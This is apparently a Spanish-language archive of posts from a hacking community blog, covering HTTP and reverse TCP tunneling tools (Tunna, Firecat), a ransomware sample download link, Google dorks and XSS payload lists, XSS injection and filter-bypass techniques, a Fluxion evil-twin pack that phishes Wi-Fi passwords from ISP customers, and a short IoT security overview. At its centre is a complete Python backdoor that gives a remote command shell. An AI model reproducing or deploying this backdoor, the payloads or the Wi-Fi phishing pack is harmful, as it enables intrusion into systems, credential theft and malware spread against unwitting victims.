Category Archive HPSI

Byaci

Que es Tunna y cómo funciona?

Tunna es un conjunto de herramientas que envolverá cualquier comunicación TCP a través de HTTP. Se puede usar para eludir las restricciones de red en entornos completamente protegidos por cortafuegos.

tunna

RESUMEN

TLDR: realiza un túnel de conexiones TCP a través de HTTP

En un firewall completamente cerrado, conexiones entrantes y salientes restringidas, excepto el puerto del servidor web, nos explica un experto en seguridad de datos. El webshell se puede usar para conectarse a cualquier servicio en el host remoto. Esta sería una conexión local en un puerto local en el host remoto y debería ser permitida por el firewall.

El webshell leerá los datos del puerto de servicio los envolverá a través de HTTP y los enviará como una respuesta HTTP al proxy local.

El proxy local desenvolverá y escribirá los datos en su puerto local donde se conectará el programa cliente. Cuando el proxy local recibe datos en el puerto local, los enviará a la webshell como una publicación HTTP. Webshell leerá los datos de la publicación HTTP y los colocará en el puerto de servicio y repite.

Solo el puerto del servidor web debe estar abierto (normalmente 80/443). Toda la comunicación (externa) se realiza a través del protocolo HTTP.

USO

Python proxy.py -u <remoteurl> -l <localport> [options]

Opciones

–help, -h muestra este mensaje de ayuda y sale

–url = URL, -u URL URL de la webshell remota

–lport = LOCAL_PORT, -l LOCAL_PORT puerto de escucha local

–verbose, -v Verbose tamaño del paquete de salidas.

–buffer = BUFFERSIZE, -b BUFFERSIZE * Tamaño de solicitud HTTP

 Sin opciones de SOCKS

De acuerdo con un profesional en seguridad cibernética, las opciones se ignoran si se utiliza el proxy SOCKS.

–no-socks, -n No use Socks Proxy

–rport = REMOTE_PORT, -r REMOTE_PORT puerto de servicio remoto para que webshell se conecte a –addr = REMOTE_IP, – una dirección REMOTE_IP para que se conecte webshell remoto (predeterminado = 127.0.0.1)

Opciones de Upstream proxy

Conexión de túnel a través de un Proxy local

–up-proxy = UPPROXY, -x UPPROXY Upstream proxy (http://proxyserver.com:3128)

–auth, – Un Upstream proxy requiere autenticación

Opciones avanzadas

–ping-interval = PING_DELAY, -q PING_DELAY intervalo de subproceso de ping webshprx (predeterminado = 0.5)

–start-ping, -s Inicia primero el hilo que hace ping – algunos servicios envían datos primero

–cookie, -C Solicitar cookies

–autenticación, -t autenticación básica

Limitaciones

Ejemplo: python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -v

Esto iniciará un Servidor Local SOCKS Proxy en el puerto 80000. Esta conexión se ajustará a través de HTTP y se desenvolverá en el servidor remoto.

python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -x https://192.168.1.100:3128 -A -v

Esto iniciará un Servidor Local SOCKS Proxy en el puerto 80000. Se conectará a través de un Proxy local (https://192.168.1.100:3128) que requiere autenticación del remoto webshell de Tunna.

python proxy.py -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v –no-socks

Esto iniciará una conexión entre el webshell y el servicio de host remoto RDP (3389). El cliente RDP se puede conectar en el puerto localhost 4444. Esta conexión se ajustará a través de HTTP.

Requisitos previos

La capacidad de cargar un webshell en el servidor remoto

 

LIMITACIONES / ERRORES CONOCIDOS / HACKS

Este es un código POC y podría causar DoS del servidor. Se han hecho todos los esfuerzos para limpiar después de la ejecución o por error, de acuerdo a un especialista en seguridad cibernética.

Basado en pruebas locales: El buffer JSP necesita ser limitado (opción buffer):

4096 trabajó en Linux Apache Tomcat

1024 trabajó en XAMPP Apache Tomcat, muy lento.

Más que eso creó problemas con la falta de bytes en el socket remoto, por ejemplo: ruby proxy.rb -u http://10.3.3.1/conn.jsp -l 4444 -r 3389 -b 1024 -v

Sockets no habilitados por ventanas php predeterminadas (IIS + PHP). Devuelve carias en webshells fuera del código: recibir respuestas enviadas / escritas en el socket local -> corromper los paquetes.

PHP webshell para Windows: la función de bucle hace el socket remoto: función de reposo añadida. PHP webshell necesita nuevos caracteres de línea eliminados al final del archivo después de “?>”  ya que estos serán enviados en cada respuesta y confundirán a Tunna, nos dice un experto en seguridad de datos.

ARCHIVOS

Webshells:

conn.jsp Probado en Apache Tomcat

conn.aspx Probado en IIS 6 + 8 (servidor de Windows 2003/2012)

conn.php probado en LAMP + XAMPP + IIS (windows + linux)

Servidor web: webserver.py Probado con Python 2.6.5

Proxies:

proxy.py Probado con Python 2.6.5

Detalles técnicos

Decisiones de arquitectura. Los datos se envían sin formato en el cuerpo de publicación de HTTP. Las instrucciones / configuración se envían a webshell como parámetros de URL (HTTP Get). Los datos se envían en el cuerpo HTTP.

Websockets no utilizados: la mayoría de los servidores web no los admiten por defecto.

Las respuestas HTTP asíncronas no son realmente posibles. El proxy consulta constantemente al servidor (por defecto 0.5 segundos)

FASE DE INICIACIÓN

El primer paquete inicia una sesión con webshell: recupera una cookie, por ejemplo: http: //webserver/conn.ext?proxy

El segundo paquete envía las opciones de configuración de conexión a la webshell, por ejemplo: http: //webserver/conn.ext?proxy & port = 4444 & ip = 127.0.0.1

IP y puerto para que la webshell se conecte. Esta es una solicitud enhebrada: En php esta solicitud entrará en un bucle infinito para mantener viva la conexión del socket webshell. También, nos dice el profesional en seguridad cibernética, en otras webshells [OK] se recibe de nuevo.

CLIENTE TUNNA

Se creará un socket local al que se conectará el programa de cliente. Una vez que el cliente está conectado, se inicia el hilo de ping y se inicia la ejecución. Todos los datos en el socket del cliente se leen y se envían como una solicitud HTTP Post. Todos los datos en el socket webshell se envían como respuesta a la solicitud POST.

PINGING THREAD

Porque las respuestas HTTP no pueden ser asincrónicas. Este hilo hará HTTP obtenga solicitudes en el webshell en función de un intervalo (predeterminado de 0,5 segundos). Si el webshell tiene datos para enviar, también lo enviará como respuesta a esta solicitud. De lo contrario, enviará una respuesta vacía.

En general: los datos del proxy local se envían con publicación HTTP. Hay solicitudes Get cada 0,5 segundos para consultar los datos de webshell si hay datos en el lado webshell enviados como respuesta a una de estas solicitudes

WEBSHELL

Webshell se conecta a un socket en el host local o remoto. Cualquier información escrita en el socket se envía de vuelta al proxy como respuesta a una solicitud (POST / GET) Cualquier información recibida con una publicación se escribe en el socket.

NOTAS

Todas las solicitudes deben tener el parámetro de URL “proxy” configurado para ser manejado por el webshell (http: //webserver/conn.ext?proxy)

AT EXIT / AT ERROR

Elimina todos los hilos y cierra el socket local. Envía el proxy y lo cierra a webshell: elimina los hilos remotos y cierra el socket

SOCKS

El soporte de SOCKS es un módulo de complemento para Tunna. Localmente hay un hilo separado que maneja las solicitudes de conexión y el tráfico agrega un encabezado que especifica el puerto y el tamaño del paquete y lo reenvía a Tunna. De acuerdo al experto en seguridad de datos, Tunna lo envía al servidor web remoto, elimina los encabezados HTTP y reenvía el paquete al proxy SOCKS remoto. El proxy remoto SOCKS inicia la conexión y asigna el puerto recibido al puerto local. Si el proxy SOCKS remoto recibe datos del servicio, mira la tabla de asignación y encuentra el puerto al que necesita responder, agrega el puerto como un encabezado para que el proxy SOCKS local sepa a dónde reenviar los datos. Cualquier tráfico del puerto recibido se enviará al puerto local y viceversa.

 

Fuente: https://github.com/SECFORCE/Tunna

Byaci

Firecat:una herramienta de prueba de penetración y crear reverse túnel en una red

Firecat es una herramienta de prueba de penetración que te permite perforar al reverse túnel TCP de una red comprometida. Después de que se establece un túnel, puedes conectarte de un host a cualquier puerto en el sistema dentro de la red comprometida, aun si la red esta detrás de un gateway de NAT o un firewall. Esto puede ayudar de varias maneras, incluyendo el acceso al Remote Desktop de la red interna de la dirección IP del NAT(e.g. 192.168.1.10) de un servidor de red comprometido.

 

Instalación

Firecast está escrito en C y está probado en Linux, Solaris, iOs, Mac OS X y Windows XP/Vista/2k/2k3/2k8.

Para elaborar en Windows usando MinGW:

gcc –o firecat.exe firecat.c –lwsock32

Para elaborar en Unix:

gcc –o firecat firecat.c

Uso

¿Cómo funciona?

Regresa atrás una década y recordarás que era muy común encontrar anfitriones que no tuvieran un firewall del Internet. Podías comprometerlos, archivar shellcodes en un puerto, usar netcat o alguna otra herramienta para tomar el control en línea de comandos interactivos del objetivo explica Jim Gil, un experto de seguridad informática de International Institute of Cyber Security (IICS).

Hoy en día las cosas son diferentes, es muy común que los paquetes de TCP/IP de un host esta estrictamente filtrados por reglas de firewall para su ingreso.

Con frecuencia, los asuntos son más complicados puesto que el host que es la meta está detrás de un gateway NAT:

Reglas más estrictas para el firewall reduce el tamaño del ataque del objetivo, pero ataques como la inyección de SQL hacen posible ejecutar códigos arbitrarios en los servidores con firewalls muy estrictos. Sin embargo, a menos que el consultor pueda tomar control del firewall y alterar el rule set, es imposible para otros conectar directamente con la red interna de servicios.

Es ahí cuando Firecat tiene su turno. Asumiendo que puedes ejecutar comandos en un host de DMZ y que el host puede iniciar una conexión de  outbound de TCP/IP a la computadora del consultor, Firecat le posibilita conectarse a cualquier puerto en la mira del host, y a cualquier puerto en cualquier host de DMZ. Esto pasa creando un túnel reverso TCP a través del firewall y usando el túnel para intermediar conexiones arbitrarias de TCP entre el consultor y el host en el ambiente que es el objetivo.  Expertos de seguridad informática de Webimprints aconseja que además de crear túneles arbitrarios de TCP/IP a red DMZ, también se puede usar para reventar connect-back shells del host de DMZ comprometido como web o servidores SQL.

Funciona debido que el sistema objetivo es el que inicia la conexión TCP de regreso al consultor, no a la inversa. Firecat corre en modo “target” en el objetivo, y “consultant” en el sistema del consultor, creando efectivamente un túnel entre los dos puntos. Una vez que el túnel es establecido, el consultor se conecta a su daemon de Firecat local que instruye un Firecat daemon remoto para iniciar una conexión al host/port deseado detrás del firewall menciona Jim Gil, un experto de seguridad informática de International Institute of Cyber Security (IICS).Los dos Firecat daemons crean un túnel entre la información del consultor y el objetivo para crear un puente impecable y transparente entre los dos sistemas, así evitando las reglas del fierwall. Firecat funciona aun con host detrás de firewalls de NAT.

Siguiendo los pasos, y utilizando la dirección IP de los diagramas, el proceso funciona de la siguiente manera:

  1. Firecat (consultant) atiende 202.1.1.1:4444
  2. Firecat (target) conecta 202.1.1.1:4444

  1. Se establece un túnel entre ambos hosts
  2. Firecat (consultant) listens on 202.1.1.1:3389
  3. El consultor conecta al desktop remoto del cliente a 202.1.1.1:3389
  4. Firecat (consultant) le dice a Firecat (target) que una nueva sesión ha iniciado
  5. Firecat (target) conecta a 192.168.0.1:3389
  6. Firecat (target) le comenta a Firecat (consultant) que está conectado localmente
  7. Ambas instancias de Firecat comienzan el túnel de información entre el desktop del cliente del consultor y el desktop objetivo del servidor, haciendo parecer al desktop del cliente que está conectado al objetivo.

 

https://github.com/altf4/firecat

ByDrok3r

Panopticlick 3.0 | Cuánta privacidad proporciona tu navegador web

Panopticlick es una herramienta online desarrollada por la Fundación Frontera Electrónica. Esta herramienta comprueba ciertas funciones del navegador web, con el fin de poder determinar qué tan “grave” se encuentra la situación de nuestro rastro al navegar por Internet.

Panopticlick determina que datos se encuentran en nuestra huella digital y que tanta privacidad nos otorga nuestro navegador web, la información que recopila Panopticlick para determinar esto es:

  • Coockies
  • Idioma preferido
  • Zona horaria del pc
  • Tipografias
  • Tamaño de pantalla
  • Tipo y version del navegador
  • Sistema Operativo
  • Plugins
  • Canvas de HTML5
  • Datos de WebGL
  • Cabezera Do Not Track

Posterior a esta información y a su análisis Panopticlick muestra cuatro resultados los cuales indican si el navegador proporciona privacidad, bloqueando código de rastreo.

Existe una herramienta similar llamada Browserleaks, donde puedes encontrar información más detallada o especifica. Puedes leer sobre el en: BrowserLeaks | Seguridad del navegador web

ByDrok3r

Todos los Ransomware para descargar…

Lista de descarga de todas las variantes de RANSOMWARE

 

En el siguiente link, de GoogleDrive, podrán encontrar encontrar un archivo, con las muestras de Ransomware, para descargar, acompañadas de su información respectiva.

 

La informacion que pueden enontrar de cada Ransomware es:

  • Nombre
  • Extensión
  • Patrón de extensión
  • Nombres de archivos, de nota de rescate
  • Algoritmo de cifrado
  • Descifrador
  • Capturas de pantalla

En la parte superior, tendremos mas secciones, como lo son:

  • No identificado
  • Deteccion
  • Prevencion
  • Infografia
  • Descarga
  • Fuentes y Contribuyentes

Este archivo se actualiza cada 5 minutos, por lo cual estaremos al tanto de cada ransomware.

 

Link: [ RANSOMWARE ]

Te recomiendo leer: [ Verifica si tu sistema es vulnerable al exploit (EternalBlue) del Ransomware WannaCry ]

Te recomiendo leer: [ El ransomware Koolova descifra gratis los ficheros a cambio de leer artículos ]

Te recomiendo leer: [ Google Dorks SQL Injection & XSS Payload | Encontrar vulnerabilidades en aplicaciones web ]

ByDrok3r

Google Dorks SQL Injection & XSS Payload | Encontrar vulnerabilidades en aplicaciones web

En este post, les comparto una recopilación de más de 100 dorks, para encontrar paginas vulnerables ya sea a SQL INJECTION ó XSS. En cuanto a dar con las vulnerabilidades XSS de igual manera comparto, una lista, la cual es un recopilatorio de más de 100 payloads, que podemos utilizar para dar con sitios vulnerables a XSS.

Google Dorks – SQL INJECTION

Puedes utilizar los GoogleDorks con el fin de encontrar paginas vulnerables a SQL INJECTION.
Descargar archivo .txt: [ SQL INJECTION – GoogleDorks.txt ]
Te recomiendo leer: [ Google Hacking ]

XSS Payloads

Esta lista de payloads, nos puede ayudar a encontrar paginas vulnerables a XSS, donde podremos hacer mas que un simple alert, en JavaScript. Podemos usar herramientas de fuerza fruta, que nos ayuden a encontrar dicha vulnerabilidad en una pagina web.
Puedes usar la herramienta BruteXSS, la cual te permite encontrar vulnerabilidades XSS por medio de fuerza bruta a una aplicacion web.

Sitio web con una vulnerabilidad de XSS almacenada

PasteBin: [ XSS Payloads ]
Descargar archivo .txt: [ Cross Site Scripting_Payloads.txt ]
Te recomiendo leer: [ Cross Site Scripting – (XSS) ]
Te recomiendo leer: [ BURLAR FILTROS | XSS ]
Descarga BruteXSS: [ BruteXSS ]
BySin Rostro

Creando un backdoor en python

Vamos a crear un backdoor en python😈😈😈😈😈😈😈😈😈, para que nos ayude en nuestras pruebas de pentest, nos servira cuando no podamos hacer uso de otros metodos de backdoring.

 

Este backdoor es de Conexion Directa. Trate de dejarlo lo mas comentado posible Saludos Hackers.

import sys, os
import socket
import getopt
import threading
import subprocess

# Definimos algunas variables globales
listen             = False
command            = False
target             = ""
port               = 0

# Vamos a definir una funcion que nos provea 
# de ayuda
def usage():
    print "\n\tTroyano de Conexion Directa"
    print 
    print "Uso: backdoor.py -t target_host -p port"
    print "-l --listen                       escuchar en [host]:[port]"
    print "-s --shell                      inicializa una shell"
    print
    print
    print "Ejemplos: "
    print "python backdoor.py -t 192.168.1.1 -p 5555 -l -s"
    print "\tPara dejar en escucha una shell"
    print "python backdoor.py -t 192.168.1.1 -p 5555"
    print "\tPara conectarse a una shell"
    print "\nSimple Backdoor de Conexion Directa para los"
    print "Miembros de la Comunidad de Hacking Publico & Sistemas Informaticos"
    print "el Creador de este codigo o cualquier Miembro de Hacking Publico"
    print "NO se hacen responsables por el uso que le puedan dar a este codigo,"
    print "el cual esta hecho con fines Educativos."
    sys.exit(0)

# Funcion que se encargara de el cliente
# osea la computadora que se conecta al 
# backdoor 
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que 
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario
        
        while True:
            # Esperamos por mas input           
            buff = raw_input("%s " % nickname)
            
            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando 
            # que Enviamos
            data      = cliente.recv(1024)

            print data
            
            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla 
            # la limpiamos 
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break     
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue
                        
    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
        
def server_loop():
    global target
    
    # Si no indicamos la opcion -t
    # el server toma esta direccion
    if not len(target):
        target = "0.0.0.0"
    
    # Creamos el socket para las conexiones 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    
    # Creamos un hilo por cada cliente que se conecte
    try:
        while True:
            client_socket, addr = server.accept()
            
            client_thread = threading.Thread(target=client_handler,
                                             args=(client_socket,))
            print "[*] Nuevo cliente conectado %s" % socket.gethostname()
            client_thread.start()
            
    except KeyboardInterrupt:
        print "Se ha detenido el server"
        sys.exit(1)        
        
        
def run_command(command):

    command = command.rstrip()

    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, 
                                         shell=True)
    except:
        output = "Fallo al ejecutar el comando.\r\n"
 
    return output

def client_handler(client_socket):
    global command
     
    if command:
        while True:
            

            cmd_buff = client_socket.recv(1024)

            if "exit" in cmd_buff:
                print "El cliente %s se DESCONECTO." % socket.gethostname()
                client_socket.close()
                break                    
            
            response = run_command(cmd_buff)
            
            client_socket.send(response)
            
def main():
    global listen
    global port
    global command
    global target
    
    # aqui verificamos que el usuario haya
    # dado opciones, si no, imprime el modo
    # de uso (funcion usage() )
    if not len(sys.argv[1:]):
        usage()
    
    # Si el usuario dio opciones las leemos 
    # para verificar que sean validas, despues 
    # ejecutar lo correspondiente
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hlt:p:s", ["help", "listen", "target",
                                                             "port", "shell"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-s", "--shell"):
            command = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)     
        else:
            assert False, "Opcion no valida"
            
    if not listen and len(target) and port > 0:
        client_sender()
    if listen:
        server_loop()

main()

 

Consultor en Ciberseguridad, analisis de malware, BlackHat, pentester, amante de Python, Hardware, IoT y los Gadges.

ByMauro Clavijo

Editpack para Fluxion | Operadores Latinos Vr 0.2

FLUXION es una herramienta para auditorias inalambricas muy conocida e integrada a distribuciones como Wifislax y otras, esta funciona similar a la famosa y muy conocida LINSET.

Su función es, capturar un handshake de la red victima, desautenticar los clientes de la misma por medio de una denegación de servicio en la conexión entre ellos y el AP. Generando paralelamente un SSID o señal AP Fake (Falsa), para obligar a la victima a conectarse a la red fake y entregar por ingeniería social la clave WPA de su red Wifi.

Ya explicado esto,  el Editpack contiene mas interfaces de operadores de servicio ISP latinos por lo que la herramienta al inicio fue enfocada para Europa y EEUU, por lo que decidí agregar estos para ser usado en nuestra zona de influencia, espero les sea util y si desean apoyar lo pueden donando por Paypal.

Contenido de esta primera edición

Se agregaron las siguientes interfaces de:

  • DIRECTV
  • CLARO
  • TELMEX
  • UNE-TIGO
  • INFINITUM
  • MOVISTAR
  • METROTEL

  

En las siguientes ediciones del EditPack se agregaran operadores de MEXICO, ARGENTINA, ECUADOR, PERU.

=======================
Instalación del Editkpack
=======================

 

Aqui LINK de Descarga:

================
EditPACK Vr. 0.1
================

================
EditPACK Vr. 0.2
================

Esta versión contiene correcciones en el código que tuvo la Vr. 0.1

===============================
Usa Flu[X]ion como un Profesional
===============================

=================
DONACIONES
=================

Síguenos en nuestras redes sociales

\\Master en Seguridad Informatica \ CEO_Founder \
Comunidad Hacking Publico & Sistemas Informáticos

BySin Rostro

Reglas del juego

Hola Amigos como sabran se ha preparado un reto en el grupo de hacking público HPSI. La intención de este es aprender y divertirnos un poco.

Debido a que este se anunció hace una semana solo los usuarios que quisieron unirse a este reto podrán resolverlo.

A continuación detallo las reglas e instrucciones para resolverlo.

Reglas

  1. Está estrictamente prohibido hacer DoS o DDoS a la infraestructura

  2. Recuerda que estaras siendo vigilado todo el tiempo 😉😉😉

  3. Trata de no dañar los escenarios ya que no seras el unico que quiere usarlas

  4. Diviértete

Instrucciones

  1. Consigue todas las flags

  2. Se te pedira tu IP ya que solo podras accesar a la plataforma atraves de ella

  3. Se avisara por mensaje a los participantes cuando es su turno cada uno tiene 2 horas para completar le reto

  4. Hackea!!!!

  5. DIVIÉRTETE

Consultor en Ciberseguridad, analisis de malware, BlackHat, pentester, amante de Python, Hardware, IoT y los Gadges.

ByDrok3r

CROSS SITE SCRIPTING (XSS) – PRUEBAS DE VULNERABILIDAD

XSS

 

Antes de comenzar a leer este post te recomiendo leer: Cross Site Scripting – Introducción

 

Una vez localizada la sección en la página web la cual pueda recibir texto por parte del usuario y que este lo pueda mostrar como resultado, pasaremos a realizar pruebas para de esta manera determinar si esta sección es vulnerable al XSS.

Este sitio web es completamente vulnerable a multitud de ataques web, el cual usaremos para explicar esta sección. También usaremos el Mantra de OWASP.

En el caso de este sitio encontramos el apartado para hacer búsquedas. Como podemos ver de resultado nos devuelve nuestra entrada y aparte nos la muestra en la url “search.aspx?txtSearch=drok3r” en esta sección es donde comprobaremos si la pagina es vulnerable a XSS

Para esto ingresamos el siguiente código:

<script>alert("Hacked!!!")</script>

Este código lo que hace es mostrar una alerta en la página web la cual contenga el texto dentro de las casillas. Algunos pentesters o atacantes suelen llamarlos “payload”

Como podemos ver, la pagina es vulnerable a XSS

Sin embargo el código anterior puede que no funcione en la mayoría de los casos debido a ciertos filtros de seguridad Anti-XSS los cuales rechazan o imposibilitan el uso de ciertos caracteres o de palabras en concreto. La mayoría de estos filtros, bloquean caracteres como <>, “”, (), ; , /.

Por otro lado algunos bloquean las etiquetas de forma completa <script> esto dificulta en gran medida verificar si la pagina es vulnerable a XSS por lo que pasaríamos a comprometer su seguridad y brincarnos su filtro Anti XSS.

QUE SE PUEDE HACER AL DETECTAR UNA VULNERABILIDAD XSS

Como siempre se ha dicho, las posibilidades dependerán de la imaginación del atacante, en el post anterior se hizo mención de que es lo se podría realizar con un ataque de XSS de una manera muy general. Sin embargo lo que se puede hacer es:

  • Infectar el navegador de un usuario
  • Phishing
  • Realizar X acción en la página web
  • Modificar o crear perfiles en la aplicación web ya sean de usuarios comunes o administradores
  • Defacement
  • Ataques DDoS
  • Utilización de Gusano XSS

Sin embargo las posibilidades dependerán en su gran mayoría dependerán de las funciones que ofrezca el sitio vulnerable.

MÉTODOS PARA EXPLOTAR XSS

Existen distintos métodos o tecnias para explotar un XSS, su nombre dependerá de las zonas de código de la aplicación web donde quedara nuestro código JavaScript malicioso.

1.- El código se copia entre dos etiquetas HTML.

Este es el método mas snecillo, pues solo debemos de inyectar el código.

[PAYLOAD]: <script>alert(“HACKED”)</script>

2.- Código dentro de una etiqueta “value” de una etiqueta <input>

Este es el ejemplo mencionado con anterioridad, en donde la inyección se realiza en el buscador de la aplicación web

 [PAYLOAD]: /><script>alert(‘hacked’)</script>

HTML: <input type=”text” name=”search” value=”[PAYLOAD]”

<input type=”text” name=”search” value=”/>

<script>alert(‘hacked’)</script>

Como podemos ver, nuestro payload quedo dentro de “” por lo que esto nos puede generar ciertos problemas, por lo cual podemos cerrar la etiqueta anteponiendo “/> o remplazando las comillas dobles de nuestro payload por unas comillas simples: <script>alert(‘hacked’)</script>

Recomiendo probar ambas.

Por lo cual nos quedaría como resultado:

<input type=”text” name=”search” value=””/>
<script>alert(“hacked”)</script>;<div class=””>

3.- Código dentro de un comentario en HTML

En este caso, buscamos mensajes de depuracion en el codigo HTML, algunas desarroladores tienen la mala costumbre de dejar algo como esto:

<!-- Se realizo la busqueda "[search]" -->

[search] es la cadena de texto buscada, en donde podemos introducir nuestro codigo malicioso, en donde deberemos de cerrar los caracteres del comentario, nos quedaria algo como lo siguiente:

--><script>alert("hacked")</script><!--

El resultado final seria:

<!-- Se realizo la busqueda "--><script>alert("hacked")</script><!---" --->

4.- Código dentro de código

Algo muy comun cuando las paginas utilizan las entradas de los usuarios para generar algun tipo de evento, por medio de JavaScript o el simple hecho de almacenar la informacion. algo como:

<script>var search="[busqueda]"</script>

 

En este ejemplo no es necesario incluir las etiquetas <script>, pues podemos directamente poner el codigo. No poner las etiquetas nos puede ayudar a evadir los filtros Anti-XSS.

";alert"("Hacked")//

Las diagonales al final nos ayudan a comentar el resto de la linea del JavaScript original para que este no interfiera con el codigo.

Resultado final

<script> var search="[busqueda]"="";alert("Hacked");//";</script>

 

 

EXTRA

También podemos realizar pruebas de inyección de código HTML, de igual manera que en el XSS solo que en lugar de mandar condigo en JavaScript mándalos código en HTML. Por ejemplo si nuestra aplicación web a auditar nos permite realizar búsquedas dentro de ella misma, si en el resultado incluye o muestra nuestra búsqueda “Resultados de <TEXTO>“.

Ejemplo:

Si buscamos “hola” en www.ejemploHTML.com  nos devolverá lo siguiente:

Resultados de la búsqueda hola

Y en la url tenemos:

https://ejemplo.HTML.com/Search.php?q=hola

Podemos ver que en la url nos muestra nuestra búsqueda o el texto que ingresamos para ser buscado…

Lo podemos hacer para comprobar que esta pagina es vulnerable a inyección de código HTML solo debemos incluir en nustra busqueda etiquetas HTML.

Por ejemplo en lugar de buscar “hola” buscaremos “<b>hola</hola>” en html las etiquetas <b> o <strong> hacen que el texto que contengan se muestre en negritas, por lo que cuando hagamos esta busqueda nos debería devolver el siguiente resultado:

Resultados de la búsqueda hola

Y en la url tenemos:

https://ejemplo.HTML.com/Search.php?q=hola

Si en la parte de la pagina nos muestra el texto introducido en negrita, quiere decir que la pagina es vulnerable a inyecciones de código HTML. Muy similar al XSS.

En el video anterior muestro una vulnerabilidad de XSS e inyeccion de codigo HTML

 

 

Pagina Vulnerable:

[ http://demo.testfire.net/default.aspx ]

Byaci

IoT Vs Seguridad

Desde el año 2000 el término IoT (Internet de las cosas) fue mencionado en The Guardian, Scientific American y The Boston Globe, pero hasta el año 2005 la Unión Internacional de Telecomunicaciones (UIT) publico el primer estudio sobre el tema. Hasta 2011, se comenzó a trabajar en el estándar IoT – GSI Global Standards y concluyo hasta junio de 2015. El IoT-GSI tiene por objeto promover un enfoque unificado en el UIT-T para el desarrollo de normas y técnicas (Recomendaciones) que permitan el Internet de las cosas a escala mundial.

IoT es una tecnología que va creciendo a pasos gigantes, para el año 2020 se estima que 50 mil millones de dispositivos estén conectados, es decir, 6 dispositivos por cada persona.

Pero, ¿Se ha considerado la seguridad para estos dispositivos?; La Comisión de Estudios 17 (SG17) del UIT-T coordina la labor relacionada con la seguridad. La SG17 actualmente trabaja en la seguridad de aplicaciones y servicios para Internet de las cosas (IoT).

Por otro lado, la Iniciativa Mundial de Normalización de la UIT sobre Internet de las cosas (IoT-GSI), se basa en la labor de ciertos ámbitos como: los aspectos de los sistemas de identificación de la red (NID), las redes de sensores ubicuos (USN), las comunicaciones orientadas a las máquinas (MOC), la web de las cosas (WoT). La iniciativa IoT-GSI tiene como objetivo:

  • Crear una plataforma de trabajo común agrupando los grupos de la UIT que realizan trabajos sobre IoT.
  • Elaborar una definición y descripción general de la IoT y preparar un plan de trabajo que servirá para establecer un programa de normalización de la IoT a escala mundial.
  • Elaborar las normas detalladas necesarias para la implantación de la IoT.

A pesar de que se trabaja para crear estándares y normas sobre el uso y seguridad de IoT, siendo una tecnología en crecimiento y recién adopción por empresas y usuarios de casa, estamos más susceptibles a ciberataques, desafortunadamente IoT afecta al mundo de una manera directa y física, ya que esta tecnología se usa desde coches, electrodomésticos, aviones, wearables (uso diario); por lo que se convierten en riesgos reales para una persona. Internet de las cosas puede ser percibida como una concepción de repercusiones tecnológicas y sociales.

“Una nueva dimensión se ha agregado al mundo de las tecnologías de información y la comunicación (TIC): a cualquier hora, en cualquier lugar, ahora vamos a tener conectividad para cualquier cosa. Las conexiones se multiplican y crearán una nueva red dinámica de redes con redes, una Internet de las Cosas”, UIT.

Desde nuestra perspectiva se deben considerar varios aspectos para minimizar los riesgos de un posible ciberataque a un dispositivo con tecnología IoT. Estos aspectos pueden abarcar desde la seguridad lógica y física, para la parte lógica se recomienda poner atención en el uso de software, control de usuarios y accesos a los datos, dentro de la parte física se debe considerar la gestión de identidad sobre todo en un ambiente de IoT, donde pueden existir muchos puntos de entrada. Se puede considerar una segmentación en la red para aislar todos estos dispositivos. Contar con servicios profesionales que ayuden con asesorías para afrontar los retos de seguridad, con estrategias alineadas al negocio, procesos y políticas.

 

Referencias:

http://www.itu.int

http://www.itu.int/en/ITU-T/gsi/iot/Documents/tor-iot-gsi.pdf